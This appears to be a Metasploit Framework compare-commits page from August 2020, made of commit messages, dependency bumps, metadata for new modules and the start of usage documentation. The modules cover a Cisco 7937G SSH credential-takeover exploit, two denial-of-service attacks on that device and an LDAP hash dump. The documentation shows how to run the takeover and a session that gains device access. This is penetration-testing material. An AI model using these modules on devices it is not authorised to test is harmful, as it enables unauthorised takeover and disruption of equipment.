Compare commits

...

117 Commits

Author SHA1 Message Date
Metasploit 07acf7bd37 automatic module_metadata_base.json update 2020-08-27 09:00:13 -05:00
Spencer McIntyre 5e636c8c84 Land #13906, Add a generic LDAP hashdump module 2020-08-27 09:50:15 -04:00
Spencer McIntyre aa60b4efc0 Switch back to using fail_with now that the issue is fixed 2020-08-27 09:14:51 -04:00
Hynek Petrak f8bf996233 parent 1bd4a8d752
author Hynek Petrak <hynek.petrak@gmail.com> 1595628792 +0200
committer Spencer McIntyre <Spencer_McIntyre@rapid7.com> 1598532753 -0400

Added module to dump hashes from LDAP

added hash formatters, documentation, ldap authentication

typo

sanitizing

added scenario for NASDeluxe

added few hash attribute examples

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

avoid option name conflicts

added test scenario

linted

linted

Dump all nameContexts, not just the first one. Search creds in multiple attributes.

attemt to dump special and operational attributes

check if ldap bind succeeded

sanitize the ldap hashes, skip invalid, remove {crypt} prefix

memory optimization for large LDAP servers

spaces at eols

put header to the ldif loot

added other LDAP hash formats, don't save empty ldif, dump root DSE

now we handle vmdir case too

explictly set md5crypt for $

Converted to scanner to improve performance on large networks

krbprincipalkey, memory optimization for ldap.search

handle additional hash types

be verbose about search errors

added per host timeout

catch exception from Net::Ldap

shorten the param value

handle pwdhistory entries

added comment about sambapwdhistory value

reject shorter empty sambapassordhistory entries

reject null nt and lm hashes

report assumed clear text passwords

refactored timeout for the sake of the loot

ignore {SASL} pass-trough auth entries

distinguish unresolved hashes from clear passwords

print ldap server error message, meaningful loot name

correct exception handling

handle hashes with eol

remove debug line

handle pkcs12 in binary form

attemt to control timeout on bind operation

leave LDAP#bind to be called implicitly in #search

remove debug line

fixed bug, when pillage broke the outer LDAP#search

learning ruby

monkey patched ldap connection handling, ignoring bind errors

commenting the net:LDAP misbehaviour

review fixes

review fixes

moving ldap.search into a function

remove fail_with, store loot from one place, print statistics

linting

consolidated ldap_new and connect, don't catch exceptions in the mixin

Complete the credential creation

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-27 09:05:07 -04:00
Metasploit 518e7b3cd6 automatic module_metadata_base.json update 2020-08-27 06:44:50 -05:00
Christophe De La Fuente af06429629 Land #14048 - Allow scanner modules to skip hosts on fail_with 2020-08-27 13:32:51 +02:00
Spencer McIntyre 855aa3c521 Override fail_with in auxiliary/scanner to add an abort kwarg 2020-08-26 09:10:01 -04:00
Spencer McIntyre d1baf9677e Use nmod.vprint_error to handle peer correctly 2020-08-25 17:43:07 -04:00
Spencer McIntyre a4a0a3ab23 Allow scanner modules to skip hosts on fail_with 2020-08-25 17:38:40 -04:00
Metasploit 5368536d1a automatic module_metadata_base.json update 2020-08-25 09:16:49 -05:00
Christophe De La Fuente 0052da9d15 Land #14043', fix jupyter-login when scanning non-Jupyter hosts 2020-08-25 16:05:53 +02:00
Metasploit b2e38eb582 automatic module_metadata_base.json update 2020-08-25 08:47:46 -05:00
Spencer McIntyre 9bd687edcd Land #14034, telpho10_credential_dump: Prevent traversal in untar 2020-08-25 09:35:32 -04:00
dwelch-r7 84c9e95073 Land #14045, Reload module after toggling feature
Reload module after toggling feature
2020-08-25 14:16:02 +01:00
Alan Foster 37fd5dee27 Reload module after toggling features 2020-08-25 12:27:25 +01:00
dwelch-r7 6e4ec6fbf3 Land #14041, Fix features help command
Fix features help command
2020-08-25 10:08:34 +01:00
Spencer McIntyre e75bd31a70 Fix jupyter-login when scanning non-Jupyter hosts 2020-08-24 16:02:35 -04:00
Metasploit c087ef3fa7 automatic module_metadata_base.json update 2020-08-24 14:51:45 -05:00
Shelby Pace d7ecb08eca Land #14039, prefer cc in rtld_execl_priv_esc 2020-08-24 14:40:19 -05:00
Alan Foster 6066bd87cb Fix features help command 2020-08-24 17:31:04 +01:00
Brendan Coles 786d59d360 Use AutoCheck mixin and prefer cc over gcc 2020-08-24 11:47:50 +00:00
Spencer McIntyre 2228cef857 Land #13979, Fixed segment_injector.rb x64 shellcode 2020-08-21 17:16:46 -04:00
Spencer McIntyre f69facc96b Fix the syntax and placement of the stack alignment instruction 2020-08-21 17:09:06 -04:00
Metasploit 27456ab1a6 automatic module_metadata_base.json update 2020-08-21 15:54:51 -05:00
Shelby Pace 841d488667 Land #13985, add Cisco ssh dos module 2020-08-21 15:45:27 -05:00
Shelby Pace cd351a22b1 fix msftidy warnings 2020-08-21 15:37:05 -05:00
Metasploit 2443d38a8d automatic module_metadata_base.json update 2020-08-21 15:15:17 -05:00
Shelby Pace c578fde89c Land #13982, add cisco 7937g ssh privesc 2020-08-21 15:04:24 -05:00
Shelby Pace 39284d4263 align logging line, fix msftidy_docs warning 2020-08-21 14:55:45 -05:00
debifrank 22a09b4f1d Merge pull request #1 from space-r7/cisco-13985
add randomize ssh cred function
2020-08-21 14:25:23 -04:00
Shelby Pace 06f0e2ee92 add randomize ssh cred function 2020-08-21 13:13:33 -05:00
Metasploit 3dc6e3d2fb automatic module_metadata_base.json update 2020-08-21 12:48:51 -05:00
debifrank 28068cd85c Update cisco_7937g_dos.md 2020-08-21 13:43:14 -04:00
debifrank 33524c0cbf Create cisco_7937g_ssh_privesc.py 2020-08-21 13:40:53 -04:00
debifrank 8ea1f5acc2 Delete cisco_7937g_ssh_privesc.py 2020-08-21 13:40:17 -04:00
debifrank eda50d2a20 Delete cisco_7937g_ssh_privesc.md 2020-08-21 13:39:41 -04:00
adfoster-r7 5a26aa602e Land #14014, improve squid_pivot_scanning's handling of http response codes 2020-08-21 18:39:05 +01:00
debifrank 7598c9ec80 Create cisco_7937g_ssh_privesc.md 2020-08-21 13:39:00 -04:00
Brendan Coles 37a06756cc telpho10_credential_dump: Prevent traveral in untar 2020-08-21 15:30:55 +00:00
Metasploit 586f2443af automatic module_metadata_base.json update 2020-08-21 09:32:32 -05:00
Shelby Pace 5bcdaa50d6 Land #13984, add cisco 7937g dos module 2020-08-21 09:21:46 -05:00
Shelby Pace 1abe6ad32b msftidy, module name fixes 2020-08-21 09:11:37 -05:00
Shelby Pace e74a8f38e9 misaligned except statement 2020-08-21 09:01:45 -05:00
adfoster-r7 38d81106fe Land #14033, add cgranleese-r7 to the mailmap 2020-08-21 12:54:00 +01:00
cgranleese-r7 c70ab56c90 Add cgranleese-r7 to the mailmap 2020-08-21 11:18:25 +01:00
0x44434241 178bc3fe50 Serve the public trust. Protect the innocent. Tell noobs to delete necessary parameters. Uphold the law. 2020-08-21 08:47:05 +09:00
0x44434241 935403d937 Applying rubocop suggestions. 2020-08-21 08:35:20 +09:00
0x44434241 06cbf9a86c Applying suggested fixes. 2020-08-21 08:20:21 +09:00
Jeffrey Martin 9a64e3cd38 Land #13913, [GSoC] Specs for the SQLi library 2020-08-20 17:43:11 -05:00
Metasploit 6e8e6676b2 Bump version of framework to 6.0.3 2020-08-20 12:02:45 -05:00
0x44434241 02e6e3feda Adding documentation for auxiliary/scanner/http/squid_pivot_scanning. 2020-08-20 17:41:03 +09:00
0x44434241 d50ed2eb37 Better handling of Squid HTTP response codes.
The previous version has a bug where HTTP codes that are not [200, 401, 404],
or the word "Zero" is not included in the response body(??), the valid open
port is not printed to the user. This patch fixes that and improves outut.

This commit improves the resilience of this module by looking at the HTTP
response header 'X-Squid-Error', which has static strings from an enum struct
documented here: http://www.squid-cache.org/Doc/code/err__type_8h.html

If the client receives an error from Squid that is not handled, the error type
will now also be printed for the user (eg: ERR_READ_TIMEOUT).

Previously, the module would also output (almost) every IP:PORT pair, even when
they are closed or forbidden by Squid ACL. This has been moved to be a verbose
option, so that non-verbose port-scanning prints a significantly shorter list
for human consumption.

As (among others) HTTP 3xx redirects were not previously displayed to users,
the redirect location is now also printed in the output. The server header is
printed for all open ports where available, and stored in the database.
2020-08-18 12:57:18 +09:00
debifrank 9c90741a79 Rename cisco_7937G_ssh_privesc.py to cisco_7937g_ssh_privesc.py 2020-08-17 20:26:01 -04:00
debifrank 97dd5e2239 Rename cisco_7937G_ssh_privesc.md to cisco_7937g_ssh_privesc.md 2020-08-17 20:25:33 -04:00
debifrank 92129415ad Rename cisco_7937G_DoS.md to cisco_7937g_dos.md 2020-08-17 20:25:02 -04:00
debifrank c19836b7d5 Rename cisco_7937G_DoS.py to cisco_7937g_dos.py 2020-08-17 20:24:34 -04:00
debifrank cfea0db83c Rename cve_2020_16139.py to cisco_7937g_dos_reboot.py 2020-08-17 20:24:17 -04:00
debifrank 3cc8e163e3 Update and rename cve-2020-16139.md to cisco_7937g_dos_reboot.md 2020-08-17 20:23:48 -04:00
debifrank f43443240b Update and rename cve-2020-16138.md to cisco_7937G_DoS.md 2020-08-17 20:22:24 -04:00
debifrank 9906c931a2 Rename cve_2020_16138.py to cisco_7937G_DoS.py 2020-08-17 20:21:33 -04:00
debifrank fc08076240 Update and rename cve_2020_16137.py to cisco_7937G_ssh_privesc.py 2020-08-17 20:20:35 -04:00
debifrank 57d0e318cb Update and rename cve-2020-16137.md to cisco_7937G_ssh_privesc.md 2020-08-17 20:19:47 -04:00
debifrank 82857c0a36 Update cve_2020_16137.py 2020-08-14 17:47:04 -04:00
debifrank b65c49aa25 Update cve_2020_16137.py 2020-08-14 17:43:38 -04:00
debifrank 7eba463769 Update cve_2020_16138.py 2020-08-14 17:39:24 -04:00
debifrank 1e50ca7d30 Update cve_2020_16139.py 2020-08-14 17:36:43 -04:00
debifrank 9d3da31411 Update cve_2020_16139.py
catch unintended request exceptions
2020-08-14 16:18:47 -04:00
debifrank 0608025e26 Add files via upload 2020-08-14 14:45:54 -04:00
debifrank b608f7fed7 Delete CVE-2020-16137.py 2020-08-14 14:45:36 -04:00
debifrank 0cfcaa3aa0 Update and rename CVE-2020-16137.md to cve-2020-16137.md 2020-08-14 14:45:10 -04:00
debifrank 9d08b29358 Rename CVE-2020-16139.md to cve-2020-16139.md 2020-08-14 14:20:49 -04:00
debifrank c730eb0021 Rename CVE-2020-16138.md to cve-2020-16138.md 2020-08-14 14:20:27 -04:00
debifrank 921e3142c5 Add files via upload 2020-08-14 12:48:08 -04:00
debifrank ae065530f1 Delete CVE-2020-16138.py 2020-08-14 12:47:55 -04:00
debifrank 7e6ef0d713 Update CVE-2020-16138.md 2020-08-14 12:46:37 -04:00
debifrank e001839dcb Update CVE-2020-16138.md 2020-08-14 12:45:38 -04:00
debifrank 7d125c9741 Add files via upload 2020-08-14 12:16:52 -04:00
debifrank ffa23ba850 Delete CVE-2020-16139.py 2020-08-14 12:16:22 -04:00
debifrank 0e0bdc4f98 Update CVE-2020-16139.md 2020-08-14 12:15:53 -04:00
debifrank b4689dfa2d Update CVE-2020-16139.md
WIP
2020-08-14 10:12:39 -04:00
Michael-ZecOps 5877c79538 Force stack alignment 2020-08-14 01:16:20 +03:00
debifrank 1e244ddaec Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:57:17 -04:00
debifrank 8fe7417d1b Delete CVE-2020-16137.md
Linting
2020-08-13 09:56:58 -04:00
debifrank b461f4ede8 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:56:30 -04:00
debifrank 45ef9f9324 Delete CVE-2020-16138.md
Linting
2020-08-13 09:56:08 -04:00
debifrank 27d889a599 Add files via upload
Linted with msftidy_docs.rb
2020-08-13 09:55:37 -04:00
debifrank f6581b9518 Delete CVE-2020-16139.md
Linting
2020-08-13 09:55:14 -04:00
debifrank d1afe60262 Add files via upload
Linted with autopep8
2020-08-13 09:52:21 -04:00
debifrank dada2abaad Delete CVE-2020-16139.py
Linting
2020-08-13 09:52:04 -04:00
debifrank a21907fcc6 Add files via upload
Linted with autopep8
2020-08-13 09:51:24 -04:00
debifrank 4434e37a09 Delete CVE-2020-16138.py
linting
2020-08-13 09:51:03 -04:00
debifrank 0a025123e9 Add files via upload
Linted with autopep8
2020-08-13 09:50:33 -04:00
debifrank 2a739ed5eb Delete CVE-2020-16137.py
Linting
2020-08-13 09:50:09 -04:00
debifrank 796041ddf4 Update CVE-2020-16137.md 2020-08-12 12:37:08 -04:00
debifrank b5fb4800af Update CVE-2020-16138.md 2020-08-12 12:36:25 -04:00
debifrank b65f87e0c1 Update CVE-2020-16139.md 2020-08-12 12:35:55 -04:00
debifrank cc7dd2179a Add files via upload
Documentation for CVE-2020-16139
2020-08-12 12:34:43 -04:00
debifrank 271daa67d8 Add files via upload
Documentation for CVE-2020-16138
2020-08-12 12:34:01 -04:00
debifrank dcce728012 Add files via upload
Documentation for CVE-2020-16137
2020-08-12 12:33:19 -04:00
debifrank 884b0ec897 Update CVE-2020-16139.py
Removed jest, included more useful information
2020-08-12 11:25:32 -04:00
debifrank d43e071a7e Update CVE-2020-16137.py
Removed jest and included more useful information.
2020-08-12 11:24:20 -04:00
debifrank a77931c479 Update CVE-2020-16139.py 2020-08-11 10:51:58 -04:00
debifrank e5e8c19575 Update CVE-2020-16137.py 2020-08-11 10:49:55 -04:00
debifrank 70fc0b3375 Update CVE-2020-16138.py 2020-08-11 10:41:58 -04:00
debifrank a17d29b6a2 CVE-2020-16138
Targets the Cisco Unified IP Conference Station 7937G vulnerability CVE-2020-16138 causing a DoS condition.
2020-08-11 10:40:15 -04:00
debifrank 78a7e8ae96 Update CVE-2020-16139.py 2020-08-11 10:32:37 -04:00
debifrank 18fdbfd917 Update CVE-2020-16139.py 2020-08-11 10:30:29 -04:00
debifrank 16a00ea338 Cisco 7937G DoS Reset Attack
Python module for metasploit that targets the Cisco 7937G Conference Station and vulnerability CVE-2020-16139
2020-08-11 10:29:28 -04:00
debifrank 599bfa00be Update CVE-2020-16137.py 2020-08-11 09:50:17 -04:00
debifrank e193c33ec3 SSH Exploit against the Cisco 7937G
Coincides with CVE-2020-16137
2020-08-11 09:46:01 -04:00
Michael-ZecOps f043e4b9b4 More space optimization while at it 2020-08-11 00:45:24 +03:00
Michael-ZecOps 10a0d43da4 Fixed segment_injector.rb x64 shellcode 2020-08-11 00:16:57 +03:00
Niboucha Redouane e4b77616fa Minor formatting (rubocop -a) 2020-08-08 03:49:29 +02:00
Niboucha Redouane 1f17b07746 use Timecop, separate query_proc from sqli_obj, and address other issues in the specs 2020-08-08 03:30:12 +02:00
Niboucha Redouane f48ed5027f test #call_function, and not methods that might be implemented on specific DBMS only 2020-07-27 16:38:07 +02:00
Niboucha Redouane 89fef9f9fe Refactor and fix some specs, avoid sleeping in time-based shared examples 2020-07-27 03:15:16 +02:00
Niboucha Redouane 854df7e93b Add shared examples for SQLi::Common, and some tests for MySQLi 2020-07-23 18:54:20 +02:00
32 changed files with 2587 additions and 344 deletions
+1
View File
@@ -9,6 +9,7 @@ bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
cgranleese-r7 <cgranleese-r7@github> <christopher_granleese@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
+7 -7
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.0.2)
metasploit-framework (6.0.3)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
@@ -121,13 +121,13 @@ GEM
activerecord (>= 3.1.0, < 7)
ast (2.4.1)
aws-eventstream (1.1.0)
aws-partitions (1.354.0)
aws-sdk-core (3.104.3)
aws-partitions (1.358.0)
aws-sdk-core (3.104.4)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.186.0)
aws-sdk-ec2 (1.188.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.43.0)
@@ -140,7 +140,7 @@ GEM
aws-sdk-core (~> 3, >= 3.104.3)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.1)
aws-sigv4 (1.2.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.15)
bcrypt_pbkdf (1.0.1)
@@ -239,7 +239,7 @@ GEM
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.16.2)
net-ldap (0.16.3)
net-ssh (6.1.0)
network_interface (0.0.2)
nexpose (7.2.1)
@@ -385,7 +385,7 @@ GEM
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.2)
ruby_smb (2.0.2)
ruby_smb (2.0.3)
bindata
openssl-ccm
openssl-cmac
+7 -7
View File
@@ -11,13 +11,13 @@ arel, 9.0.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.1, MIT
aws-eventstream, 1.1.0, "Apache 2.0"
aws-partitions, 1.354.0, "Apache 2.0"
aws-sdk-core, 3.104.3, "Apache 2.0"
aws-sdk-ec2, 1.186.0, "Apache 2.0"
aws-partitions, 1.358.0, "Apache 2.0"
aws-sdk-core, 3.104.4, "Apache 2.0"
aws-sdk-ec2, 1.188.0, "Apache 2.0"
aws-sdk-iam, 1.43.0, "Apache 2.0"
aws-sdk-kms, 1.36.0, "Apache 2.0"
aws-sdk-s3, 1.78.0, "Apache 2.0"
aws-sigv4, 1.2.1, "Apache 2.0"
aws-sigv4, 1.2.2, "Apache 2.0"
bcrypt, 3.1.15, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.8, ruby
@@ -60,7 +60,7 @@ memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.2, "New BSD"
metasploit-framework, 6.0.3, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.10, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
@@ -73,7 +73,7 @@ msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.16.2, MIT
net-ldap, 0.16.3, MIT
net-ssh, 6.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
@@ -139,7 +139,7 @@ ruby-prof, 1.4.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.2, ruby
ruby_smb, 2.0.2, "New BSD"
ruby_smb, 2.0.3, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
+167 -8
View File
@@ -1065,6 +1065,44 @@
},
"needs_cleanup": false
},
"auxiliary_admin/http/cisco_7937g_ssh_privesc": {
"name": "Cisco 7937G SSH Privilege Escalation",
"fullname": "auxiliary/admin/http/cisco_7937g_ssh_privesc",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a feature that should not be available \n\tvia the web interface. An unauthenticated user may change \n\tthe credentials for SSH access to any username and password \n\tcombination desired, giving access to administrative \n\tfunctions through an SSH connection.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16137"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 14:55:45 +0000",
"path": "/modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py",
"is_install_path": true,
"ref_name": "admin/http/cisco_7937g_ssh_privesc",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_admin/http/cnpilot_r_cmd_exec": {
"name": "Cambium cnPilot r200/r201 Command Execution as 'root'",
"fullname": "auxiliary/admin/http/cnpilot_r_cmd_exec",
@@ -3455,7 +3493,7 @@
"https"
],
"targets": null,
"mod_time": "2019-09-23 15:29:38 +0000",
"mod_time": "2020-08-21 15:30:55 +0000",
"path": "/modules/auxiliary/admin/http/telpho10_credential_dump.rb",
"is_install_path": true,
"ref_name": "admin/http/telpho10_credential_dump",
@@ -9292,6 +9330,82 @@
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/cisco_7937g_dos": {
"name": "Cisco 7937G Denial-of-Service Attack",
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a bug in how the conference station \n\thandles incoming SSH connections that provide an incompatible \n\tkey exchange. By connecting with an incompatible key exchange, \n\tthe device becomes nonresponsive until it is manually power\n\tcycled.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16138"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 13:13:33 +0000",
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos.py",
"is_install_path": true,
"ref_name": "dos/cisco/cisco_7937g_dos",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/cisco_7937g_dos_reboot": {
"name": "Cisco 7937G Denial-of-Service Reboot Attack",
"fullname": "auxiliary/dos/cisco/cisco_7937g_dos_reboot",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-06-02",
"type": "auxiliary",
"author": [
"Cody Martin"
],
"description": "This module exploits a bug in how the conference station handles \n\texecuting a ping via its web interface. By repeatedly executing \n\tthe ping function without clearing out the resulting output, \n\ta DoS is caused that will reset the device after a few minutes.",
"references": [
"URL-https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/",
"CVE-2020-16139"
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-21 09:01:45 +0000",
"path": "/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py",
"is_install_path": true,
"ref_name": "dos/cisco/cisco_7937g_dos_reboot",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_dos/cisco/ios_http_percentpercent": {
"name": "Cisco IOS HTTP GET /%% Request Denial of Service",
"fullname": "auxiliary/dos/cisco/ios_http_percentpercent",
@@ -17455,6 +17569,50 @@
},
"needs_cleanup": false
},
"auxiliary_gather/ldap_hashdump": {
"name": "LDAP Information Disclosure",
"fullname": "auxiliary/gather/ldap_hashdump",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-07-23",
"type": "auxiliary",
"author": [
"Hynek Petrak"
],
"description": "This module uses an anonymous-bind LDAP connection to dump data from\n an LDAP server. Searching for attributes with user credentials\n (e.g. userPassword).",
"references": [
"CVE-2020-3952",
"URL-https://www.vmware.com/security/advisories/VMSA-2020-0006.html"
],
"platform": "",
"arch": "",
"rport": 636,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-08-27 09:14:51 +0000",
"path": "/modules/auxiliary/gather/ldap_hashdump.rb",
"is_install_path": true,
"ref_name": "gather/ldap_hashdump",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
]
},
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -18972,7 +19130,7 @@
],
"targets": null,
"mod_time": "2020-07-22 15:40:10 +0000",
"mod_time": "2020-07-25 00:13:12 +0000",
"path": "/modules/auxiliary/gather/vmware_vcenter_vmdir_ldap.rb",
"is_install_path": true,
"ref_name": "gather/vmware_vcenter_vmdir_ldap",
@@ -27357,7 +27515,7 @@
"https"
],
"targets": null,
"mod_time": "2020-08-10 09:47:59 +0000",
"mod_time": "2020-08-25 16:51:47 +0000",
"path": "/modules/auxiliary/scanner/http/jupyter_login.rb",
"is_install_path": true,
"ref_name": "scanner/http/jupyter_login",
@@ -30596,9 +30754,10 @@
"disclosure_date": null,
"type": "auxiliary",
"author": [
"willis"
"willis",
"0x44434241"
],
"description": "A misconfigured Squid proxy can allow an attacker to make requests on his behalf.\n This may give the attacker information about devices that he cannot reach but the\n Squid proxy can. For example, an attacker can make requests for internal IP addresses\n against a misconfigured open Squid proxy exposed to the Internet, therefore performing\n an internal port scan. The error messages returned by the proxy are used to determine\n if the port is open or not.\n\n Many Squid proxies use custom error codes so your mileage may vary. The open_proxy\n module can be used to test for open proxies, though a Squid proxy does not have to be\n open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows\n the attack to pivot to another part of the network).",
"description": "A exposed Squid proxy will usually allow an attacker to make requests on\n their behalf. If misconfigured, this may give the attacker information\n about devices that they cannot normally reach. For example, an attacker\n may be able to make requests for internal IP addresses against an open\n Squid proxy exposed to the Internet, therefore performing a port scan\n against the internal network.\n\n The `auxiliary/scanner/http/open_proxy` module can be used to test for\n open proxies, though a Squid proxy does not have to be on the open\n Internet in order to allow for pivoting (e.g. an Intranet Squid proxy\n which allows the attack to pivot to another part of the internal\n network).\n\n This module will not be able to scan network ranges or ports denied by\n Squid ACLs. Fortunately it is possible to detect whether a host was up\n and the port was closed, or if the request was blocked by an ACL, based\n on the response Squid gives. This feedback is provided to the user in\n meterpreter `VERBOSE` output, otherwise only open and permitted ports\n are printed.",
"references": [
],
@@ -30621,7 +30780,7 @@
"https"
],
"targets": null,
"mod_time": "2017-08-26 21:01:10 +0000",
"mod_time": "2020-08-21 08:47:05 +0000",
"path": "/modules/auxiliary/scanner/http/squid_pivot_scanning.rb",
"is_install_path": true,
"ref_name": "scanner/http/squid_pivot_scanning",
@@ -51310,7 +51469,7 @@
"stealth",
"bcoles <bcoles@gmail.com>"
],
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
"description": "This module exploits a vulnerability in the FreeBSD\n run-time link-editor (rtld).\n\n The rtld `unsetenv()` function fails to remove `LD_*`\n environment variables if `__findenv()` fails.\n\n This can be abused to load arbitrary shared objects using\n `LD_PRELOAD`, resulting in privileged code execution.\n\n This module has been tested successfully on:\n\n FreeBSD 7.2-RELEASE (amd64); and\n FreeBSD 8.0-RELEASE (amd64).",
"references": [
"BID-37154",
"CVE-2009-4146",
@@ -51334,7 +51493,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-07-12 00:47:56 +0000",
"mod_time": "2020-08-24 11:47:50 +0000",
"path": "/modules/exploits/freebsd/local/rtld_execl_priv_esc.rb",
"is_install_path": true,
"ref_name": "freebsd/local/rtld_execl_priv_esc",
@@ -0,0 +1,450 @@
## Vulnerable Application
[Cisco 7937G](https://www.cisco.com/c/en/us/support/collaboration-endpoints/unified-ip-conference-station-7937g/model.html) Conference Station.
This module has been tested successfully against firmware versions SCCP-1-4-5-5 and SCCP-1-4-5-7.
### Description
This module exploits a feature that should not be available via the web interface.
An unauthenticated user may set the credentials for SSH access to any username and
password combination desired, giving access to administrative functions through an SSH connection.
## Verification Steps
1. Obtain a Cisco 7937G Conference Station.
2. Enable Web Access and SSH Access on the device.
3. Start msfconsole
4. Do: `use auxiliary/admin/http/cisco_7937g_ssh_privesc`
5. Do: `set RHOSTS 192.168.1.10`
6. Do: `set USER test`
7. Do: `set PASS test`
8. Do: `run`
9. The conference station's SSH service should now be configured with the supplied USER:PASS.
## Options
### PASS
The desired password for setting SSH access
### USER
The desired username for setting SSH access
## Scenarios
### Cisco 7937G Running Firmware Version SCCP-1-4-5-7
#### Successful Scenario
```
msf5 > use auxiliary/admin/http/cisco_7937g_ssh_privesc
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set user test
user => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set pass test
pass => test
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > set rhosts 192.168.110.209
rhosts => 192.168.110.209
msf5 auxiliary(admin/http/cisco_7937g_ssh_privesc) > run
[*] Running for 192.168.110.209...
[*] 192.168.110.209 - Attempting to set SSH credentials.
[*] 192.168.110.209 - SSH attack finished!
[*] 192.168.110.209 - Try to login using the supplied credentials test:test
[*] 192.168.110.209 - You must specify the key exchange when connecting or the device will be DoS'd!
[*] 192.168.110.209 - ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(linux/ssh/cve_2020_16137) > exit
user@ubuntu:~$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 test@192.168.110.209
test@192.168.110.209's password:
$>help
Commands 1 to 21:
help - Shows basic help for all commands.
echo - Echoes all arguments (arbitrary parameters, up to 9)
psosMaxShow - Show max number of psos objects created.
psosFailuresShow - Show failures of psos api calls.
clearNetStats - Clear statistics counters in Ethernet Driver.
nicheShow - Show statistics of InterNiche stack.
psosIntStackShow - Show information on interrupt stack.
